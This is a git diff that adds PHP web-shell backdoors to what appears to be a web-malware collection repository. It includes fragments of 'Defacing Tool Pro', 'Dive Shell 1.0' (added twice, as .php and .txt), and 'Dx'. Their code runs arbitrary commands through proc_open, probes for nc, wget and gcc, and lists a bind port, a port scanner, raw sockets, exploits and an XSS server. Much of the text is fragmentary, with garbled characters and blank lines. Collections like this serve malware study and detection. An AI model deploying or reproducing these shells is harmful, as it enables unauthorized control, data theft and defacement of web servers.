+if(''==($df=@ini_get('disable_functions'))){echo "NONE ";}else{echo "$df ";}
+$free = @diskfreespace($dir);
+if (!$free) {$free = 0;}
+$all = @disk_total_space($dir);
+if (!$all) {$all = 0;}
+$used = $all-$free;
+$used_percent = @round(100/($all/$free),2);
+
+?>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ OS:
+Server:
+
+
+
+
+User
:
+
+
+
+
+
+ 1 :
+
+ Back
+
+ �
+ phpinfo 2
+
+
+
+ Tools 4
+
+
+
+
+
+Decoder i
+
+
+
+
+
+ByPass `
+
+
+
+
+SQL �
+
+
+
+ Bind �
+
+
+
+help
+ s about
+
+?
+[ j
+
+
+
+ server
+ :
+
+
+
+]
+
+
+
+
+ CGI v :
+ HTTP v : Mail
+admin :
+
+
+
+
+
+
+ : IP
+ SERVER:
+
+
+
+
+
+
+
+
+
+
+
+port
+ :
+
+
+
+������ ����� ����� ���� ������� ";}
+if ($act == "bindport"){
+echo "
";
+}
+if ($act == "tools"){
+ echo "
";
+ echo "
+
+EOF;
+
+$d=tourl($d);
+echo "
+
+
+.: ������� ����� :.
+.: ������� ���� :.
+.: ������� ���� ��� ����������� :. .: Bash :.
+.: �������� ���� :.
+
+
+";
+}
+die;
+?>
diff --git a/web-malware-collection-master/Backdoors/PHP/DTool Pro.txt b/web-malware-collection-master/Backdoors/PHP/DTool Pro.txt
new file mode 100755
index 0000000..0799e5e
--- /dev/null
+++ b/web-malware-collection-master/Backdoors/PHP/DTool Pro.txt
@@ -0,0 +1,198 @@
+xterm at /usr/X11R6/bin/xterm, ";
+if (@file_exists("/usr/bin/nc")) $pro2="nc at /usr/bin/nc, ";
+if (@file_exists("/usr/bin/wget")) $pro3="wget at /usr/bin/wget, ";
+if (@file_exists("/usr/bin/lynx")) $pro4="lynx at /usr/bin/lynx, ";
+if (@file_exists("/usr/bin/gcc")) $pro5="gcc at /usr/bin/gcc, ";
+if (@file_exists("/usr/bin/cc")) $pro6="cc at /usr/bin/cc ";
+$safe = @ini_get($safemode);
+if ($safe) $pro8="safe_mode : YESsafe_mode : NOPHP ".phpversion();
+$pro=$pro1.$pro2.$pro3.$pro4.$pro5.$pro6.$pro7.$pro8;
+$login=@posix_getuid(); $euid=@posix_geteuid(); $gid=@posix_getgid();
+$ip=@gethostbyname($_SERVER['HTTP_HOST']);
+
+//Turns the 'ls' command more usefull, showing it as it looks in the shell
+if(strpos($cmd, 'ls --') !==false) $cmd = str_replace('ls --', 'ls -F --', $cmd);
+else if(strpos($cmd, 'ls -') !==false) $cmd = str_replace('ls -', 'ls -F', $cmd);
+else if(strpos($cmd, ';ls') !==false) $cmd = str_replace(';ls', ';ls -F', $cmd);
+else if(strpos($cmd, '; ls') !==false) $cmd = str_replace('; ls', ';ls -F', $cmd);
+else if($cmd=='ls') $cmd = "ls -F";
+
+//If there are some '//' in the cmd, its now removed
+if(strpos($chdir, '//')!==false) $chdir = str_replace('//', '/', $chdir);
+?>
+
+
+
+
+[ Defacing Tool Pro v ] ? by r3v3ng4ns - revengans@gmail.com
+
+
+:
user: uid() euid() gid()
write permission: YES"; }else{ echo " no"; } ?>
server info:
pro info: ip
original path:
current path:
+
$feshow() ";?>
+
+
diff --git a/web-malware-collection-master/Backdoors/PHP/Dive Shell 1.0 - Emperor Hacking Team.php b/web-malware-collection-master/Backdoors/PHP/Dive Shell 1.0 - Emperor Hacking Team.php
new file mode 100755
index 0000000..9c6d47e
--- /dev/null
+++ b/web-malware-collection-master/Backdoors/PHP/Dive Shell 1.0 - Emperor Hacking Team.php
@@ -0,0 +1,187 @@
+ array('pipe', 'w'),
+ 2 => array('pipe', 'w')),
+ $io);
+
+
+ while (!feof($io[1])) {
+ $_SESSION['output'] .= htmlspecialchars(fgets($io[1]),
+ ENT_COMPAT, 'UTF-8');
+ }
+
+ while (!feof($io[2])) {
+ $_SESSION['output'] .= htmlspecialchars(fgets($io[2]),
+ ENT_COMPAT, 'UTF-8');
+ }
+
+ fclose($io[1]);
+ fclose($io[2]);
+ proc_close($p);
+ }
+ }
+
+
+ if (empty($_SESSION['history'])) {
+ $js_command_hist = '""';
+ } else {
+ $escaped = array_map('addslashes', $_SESSION['history']);
+ $js_command_hist = '"", "' . implode('", "', $escaped) . '"';
+ }
+
+
+header('Content-Type: text/html; charset=UTF-8');
+
+echo '' . "\n";
+?>
+
+
+ Dive Shell - Emperor Hacking Team
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Directory:
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/web-malware-collection-master/Backdoors/PHP/Dive Shell 1.0 - Emperor Hacking Team.txt b/web-malware-collection-master/Backdoors/PHP/Dive Shell 1.0 - Emperor Hacking Team.txt
new file mode 100755
index 0000000..9c6d47e
--- /dev/null
+++ b/web-malware-collection-master/Backdoors/PHP/Dive Shell 1.0 - Emperor Hacking Team.txt
@@ -0,0 +1,187 @@
+ array('pipe', 'w'),
+ 2 => array('pipe', 'w')),
+ $io);
+
+
+ while (!feof($io[1])) {
+ $_SESSION['output'] .= htmlspecialchars(fgets($io[1]),
+ ENT_COMPAT, 'UTF-8');
+ }
+
+ while (!feof($io[2])) {
+ $_SESSION['output'] .= htmlspecialchars(fgets($io[2]),
+ ENT_COMPAT, 'UTF-8');
+ }
+
+ fclose($io[1]);
+ fclose($io[2]);
+ proc_close($p);
+ }
+ }
+
+
+ if (empty($_SESSION['history'])) {
+ $js_command_hist = '""';
+ } else {
+ $escaped = array_map('addslashes', $_SESSION['history']);
+ $js_command_hist = '"", "' . implode('", "', $escaped) . '"';
+ }
+
+
+header('Content-Type: text/html; charset=UTF-8');
+
+echo '' . "\n";
+?>
+
+
+ Dive Shell - Emperor Hacking Team
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Directory:
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/web-malware-collection-master/Backdoors/PHP/Dx.txt b/web-malware-collection-master/Backdoors/PHP/Dx.txt
new file mode 100755
index 0000000..ebca7b5
--- /dev/null
+++ b/web-malware-collection-master/Backdoors/PHP/Dx.txt
@@ -0,0 +1,2026 @@
+ 'AboutBox',
+
+ 'DIR' => 'Dir browse',
+ 'UPL' => 'Upload file',
+ 'FTP' => 'FTP Actions',
+
+ 'F_CHM' => 'File CHMOD',
+ 'F_VIEW' => 'File viewer',
+ 'F_ED' => 'File Edit',
+ 'F_DEL' => 'File Delete',
+ 'F_REN' => 'File Rename',
+ 'F_COP' => 'File Copy',
+ 'F_MOV' => 'File Move',
+ 'F_DWN' => 'File Download',
+
+ 'SQL' => 'SQL Maintenance',
+ 'SQLS' => 'SQL Search',
+ 'SQLD' => 'SQL Dump',
+ 'PHP' => 'PHP C0nsole',
+ 'COOK' => 'Cookies Maintenance',
+ 'CMD' => 'C0mmand line',
+
+ 'MAIL' => 'Mail functions',
+ 'STR' => 'String functions',
+ 'PRT' => 'Port scaner',
+ 'SOCK' => 'Raw s0cket',
+ 'PROX' => 'HTTP PROXY',
+ 'XPL' => 'Expl0its',
+ 'XSS' => 'XSS Server',
+ );
+$GLOB['DxGET_Vars']=array(/* GET variables used by shell */
+'dxinstant', 'dxmode', 'dximg', 'dxparam', 'dxval', 'dx_ok', 'dx_gzip',
+'dxdir', 'dxdirsimple', 'dxfile',
+'dxsql_s', 'dxsql_l', 'dxsql_p', 'dxsql_d','dxsql_q',
+);
+
+$GLOB['VAR']['PHP']['Presets']=array(
+ /* Note, that no comments are allowed in the code */
+ 'phpinfo' => 'phpinfo();',
+ 'GLOBALS' => 'print \'